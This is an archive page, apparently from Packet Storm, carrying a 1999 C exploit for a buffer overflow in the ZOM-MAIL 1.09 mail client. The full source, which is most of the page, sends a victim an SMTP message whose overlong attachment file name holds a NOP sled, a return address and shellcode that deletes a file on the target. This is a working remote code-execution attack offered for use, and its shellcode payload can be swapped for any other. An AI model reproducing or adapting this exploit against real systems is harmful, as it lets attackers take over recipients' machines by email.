Twenty Year Anniversary

ex_zommail.c

ex_zommail.c
Posted Nov 5, 1999
Authored by shadowpenguin

We found the overflow bug of ZOM-MAIL 1.09. It overflows when that receives the long attachment file name. If ZOM-MAIL 1.09 recives the e-mail which contains the exploit code, the host has been cracked by any instructions which are coded in the exploit code. This program can send the e-mail to any e-mail address, which is contained an exploit code that removes a "c:\windows\test.txt" file on the host.

tags | exploit, overflow
systems | windows
MD5 | b822ed6e20a939f6985ecd735ab98cf7

ex_zommail.c

Change Mirror Download
/*=============================================================================
ZOM-MAIL 1.09 Exploit
The Shadow Penguin Security (http://shadowpenguin.backsection.net)
Written by UNYUN (shadowpenguin@backsection.net)
=============================================================================
*/

#include <stdio.h>
#include <string.h>
#include <windows.h>
#include <winsock.h>

#define TARGET_FILE "c:\\windows\\test.txt"
#define MAXBUF 3000
#define RETADR 768
#define JMPESP_ADR 0xbffca4f7
#define STACK_BYTES 32
#define SMTP_PORT 25

#define CONTENT \
"Subject: [Warning!!] This is exploit test mail.\r\n"\
"MIME-Version: 1.0\r\n"\
"Content-Type: multipart/mixed; "\
"boundary=\"U3VuLCAzMSBPY3QgMTk5OSAxODowODo1OCArMDkwMA==\"\r\n"\
"Content-Transfer-Encoding: 7bit\r\n"\
"--U3VuLCAzMSBPY3QgMTk5OSAxODowODo1OCArMDkwMA==\r\n"\
"Content-Type: image/gif; name=\"%s.gif\"\r\n"\
"Content-Disposition: attachment;\r\n"\
" filename=\"temp.gif\"\r\n"

unsigned char exploit_code[200]={
0xEB,0x32,0x5B,0x53,0x32,0xE4,0x83,0xC3,
0x0B,0x4B,0x88,0x23,0xB8,0x50,0x77,0xF7,
0xBF,0xFF,0xD0,0x43,0x53,0x50,0x32,0xE4,
0x83,0xC3,0x06,0x88,0x23,0xB8,0x28,0x6E,
0xF7,0xBF,0xFF,0xD0,0x8B,0xF0,0x43,0x53,
0x83,0xC3,0x0B,0x32,0xE4,0x88,0x23,0xFF,
0xD6,0x90,0xEB,0xFD,0xE8,0xC9,0xFF,0xFF,
0xFF,0x00
};
unsigned char cmdbuf[200]="msvcrt.dll.remove.";

void send_smtpcmd(SOCKET sock,char *cmd)
{
char reply[MAXBUF];
int r;
send(sock,cmd,strlen(cmd),0);
r=recv(sock,reply,MAXBUF,0);
reply[r]=0;
printf("%-11s: %s\n",strtok(cmd,":"),reply);
}
main(int argc,char *argv[])
{
SOCKET sock;
SOCKADDR_IN addr;
WSADATA wsa;
WORD wVersionRequested;
unsigned int ip,p1,p2;
char buf[MAXBUF],packetbuf[MAXBUF+1000];
struct hostent *hs;

if (argc<3){
printf("This exploit removes \"%s\" on the victim host",TARGET_FILE);
printf("usage: %s SMTPserver Mailaddress\n",argv[0]);
return -1;
}
wVersionRequested = MAKEWORD( 2, 0 );
if (WSAStartup(wVersionRequested , &wsa)!=0){
printf("Winsock Initialization failed.\n"); return -1;
}
if ((sock=socket(AF_INET,SOCK_STREAM,0))==INVALID_SOCKET){
printf("Can not create socket.\n"); return -1;
}
addr.sin_family = AF_INET;
addr.sin_port = htons((u_short)SMTP_PORT);
if ((addr.sin_addr.s_addr=inet_addr(argv[1]))==-1){
if ((hs=gethostbyname(argv[1]))==NULL){
printf("Can not resolve specified host.\n"); return -1;
}
addr.sin_family = hs->h_addrtype;
memcpy((void *)&addr.sin_addr.s_addr,hs->h_addr,hs->h_length);
}
if (connect(sock,(LPSOCKADDR)&addr,sizeof(addr))==SOCKET_ERROR){
printf("Can not connect to specified host.\n"); return -1;
}
recv(sock,packetbuf,MAXBUF,0);
printf("BANNER : %s\n",packetbuf);

send_smtpcmd(sock,"EHLO mail.attcker-host.net\r\n");
send_smtpcmd(sock,"MAIL FROM: <attacker@attacker-host.net>\r\n");
sprintf(packetbuf,"RCPT TO: <%s>\r\n",argv[2]);
send_smtpcmd(sock,packetbuf);
send_smtpcmd(sock,"DATA\r\n");

memset(buf,0x90,MAXBUF); buf[MAXBUF]=0;
ip=JMPESP_ADR;
buf[RETADR ]=ip&0xff;
buf[RETADR+1]=(ip>>8)&0xff;
buf[RETADR+2]=(ip>>16)&0xff;
buf[RETADR+3]=(ip>>24)&0xff;

strcat(exploit_code,cmdbuf);
strcat(exploit_code,TARGET_FILE);
p1=(unsigned int)LoadLibrary;
p2=(unsigned int)GetProcAddress;
exploit_code[0x0d]=p1&0xff;
exploit_code[0x0e]=(p1>>8)&0xff;
exploit_code[0x0f]=(p1>>16)&0xff;
exploit_code[0x10]=(p1>>24)&0xff;
exploit_code[0x1e]=p2&0xff;
exploit_code[0x1f]=(p2>>8)&0xff;
exploit_code[0x20]=(p2>>16)&0xff;
exploit_code[0x21]=(p2>>24)&0xff;
exploit_code[0x2a]=strlen(TARGET_FILE);
memcpy(buf+RETADR+4+STACK_BYTES,exploit_code,strlen(exploit_code));

sprintf(packetbuf,CONTENT,buf);
send(sock,packetbuf,strlen(packetbuf),0);
send_smtpcmd(sock,".\r\n");
closesocket(sock);
printf("Done.\n");
return FALSE;
}

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

Want To Donate?


Bitcoin: 18PFeCVLwpmaBuQqd5xAYZ8bZdvbyEWMmU

File Archive:

July 2018

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    1 Files
  • 2
    Jul 2nd
    26 Files
  • 3
    Jul 3rd
    15 Files
  • 4
    Jul 4th
    11 Files
  • 5
    Jul 5th
    13 Files
  • 6
    Jul 6th
    4 Files
  • 7
    Jul 7th
    4 Files
  • 8
    Jul 8th
    1 Files
  • 9
    Jul 9th
    16 Files
  • 10
    Jul 10th
    15 Files
  • 11
    Jul 11th
    32 Files
  • 12
    Jul 12th
    22 Files
  • 13
    Jul 13th
    15 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    0 Files
  • 16
    Jul 16th
    0 Files
  • 17
    Jul 17th
    0 Files
  • 18
    Jul 18th
    0 Files
  • 19
    Jul 19th
    0 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2018 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close